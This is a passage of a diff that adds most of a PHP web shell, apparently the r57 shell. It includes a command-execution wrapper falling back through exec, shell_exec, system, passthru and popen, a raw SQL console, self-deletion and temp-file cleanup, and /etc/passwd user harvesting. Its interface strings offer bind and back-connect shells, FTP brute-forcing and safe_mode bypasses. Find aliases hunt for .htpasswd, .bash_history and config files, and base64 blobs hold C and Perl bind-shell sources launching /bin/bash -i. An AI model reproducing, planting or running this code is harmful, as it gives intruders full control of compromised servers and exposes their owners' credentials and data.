$sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>' ', +'ru_text2' =>' ', +'ru_text3' =>' ', +'ru_text4' =>' ', +'ru_text5' =>' ', +'ru_text6' =>' ', +'ru_text7' =>' ', +'ru_text8' =>' ', +'ru_butt1' =>' ', +'ru_butt2' =>' ', +'ru_text9' =>' /bin/bash', +'ru_text10'=>' ', +'ru_text11'=>' ', +'ru_butt3' =>' ', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP- ', +'ru_text14'=>' ', +'ru_butt4' =>' ', +'ru_text15'=>' ', +'ru_text16'=>' ', +'ru_text17'=>' ', +'ru_text18'=>' ', +'ru_text19'=>'Exploits', +'ru_text20'=>' ', +'ru_text21'=>' ', +'ru_text22'=>'datapipe', +'ru_text23'=>' ', +'ru_text24'=>' ', +'ru_text25'=>' ', +'ru_text26'=>' ', +'ru_butt5' =>' ', +'ru_text28'=>' safe_mode', +'ru_text29'=>' ', +'ru_butt6' =>' ', +'ru_text30'=>' ', +'ru_butt7' =>' ', +'ru_text31'=>' ', +'ru_text32'=>' PHP ', +'ru_text33'=>' open_basedir cURL', +'ru_butt8' =>' ', +'ru_text34'=>' safe_mode include', +'ru_text35'=>' safe_mode mysql', +'ru_text36'=>' . ', +'ru_text37'=>' ', +'ru_text38'=>' ', +'ru_text39'=>' ', +'ru_text40'=>' ', +'ru_butt9' =>' ', +'ru_text41'=>' ', +'ru_text42'=>' ', +'ru_text43'=>' ', +'ru_butt10'=>' ', +'ru_butt11'=>' ', +'ru_text44'=>' ! !', +'ru_text45'=>' ', +'ru_text46'=>' phpinfo()', +'ru_text47'=>' php.ini', +'ru_text48'=>' ', +'ru_text49'=>' ', +'ru_text50'=>' ', +'ru_text51'=>' ', +'ru_text52'=>' ', +'ru_text53'=>' ', +'ru_text54'=>' ', +'ru_butt12'=>' ', +'ru_text55'=>' ', +'ru_text56'=>' ', +'ru_text57'=>' / / ', +'ru_text58'=>' ', +'ru_text59'=>' ', +'ru_text60'=>' ', +'ru_butt13'=>' / ', +'ru_text61'=>' ', +'ru_text62'=>' ', +'ru_text63'=>' ', +'ru_text64'=>' ', +'ru_text65'=>' ', +'ru_text66'=>' ', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>' ', +'ru_text69'=>' 1', +'ru_text70'=>' 2', +'ru_text71'=>" :\r\n- CHOWN - UID ( ) \r\n- CHGRP - GID ( ) \r\n- CHMOD - ( 0777)", +'ru_text72'=>' ', +'ru_text73'=>' ', +'ru_text74'=>' ', +'ru_text75'=>'* ', +'ru_text76'=>' find', +'ru_text80'=>' ', +'ru_text81'=>' ', +'ru_text82'=>' ', +'ru_text83'=>' SQL ', +'ru_text84'=>'SQL ', +'ru_text85'=>' safe_mode MSSQL ', +'ru_text86'=>' ', +'ru_butt14'=>' ', +'ru_text87'=>' ftp- ', +'ru_text88'=>'FTP- : ', +'ru_text89'=>' ftp ', +'ru_text90'=>' ', +'ru_text91'=>' ', +'ru_text92'=>' ', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP- ', +'ru_text95'=>' ', +'ru_text96'=>' ', +'ru_text97'=>' : ', +'ru_text98'=>' : ', +'ru_text99'=>'* /etc/passwd', +'ru_text100'=>' ', +'ru_text101'=>' (user -> resu) ', +'ru_text102'=>' ', +'ru_text103'=>' ', +'ru_text104'=>' ', +'ru_text105'=>' ', +'ru_text106'=>' ', +'ru_text107'=>' ', +'ru_butt15'=>' ', +'ru_text108'=>' ', +'ru_text109'=>' ', +'ru_text110'=>' ', +'ru_text111'=>'SQL- : ', +'ru_text112'=>' safe_mode mb_send_mail', +'ru_text113'=>' safe_mode, imap_list', +'ru_text114'=>' safe_mode, imap_body', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +); +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray> </font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = ' ! '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = ' ! '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = " "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array(' ftp ',' ftp ',' ftp '); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array(' ',' '); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV 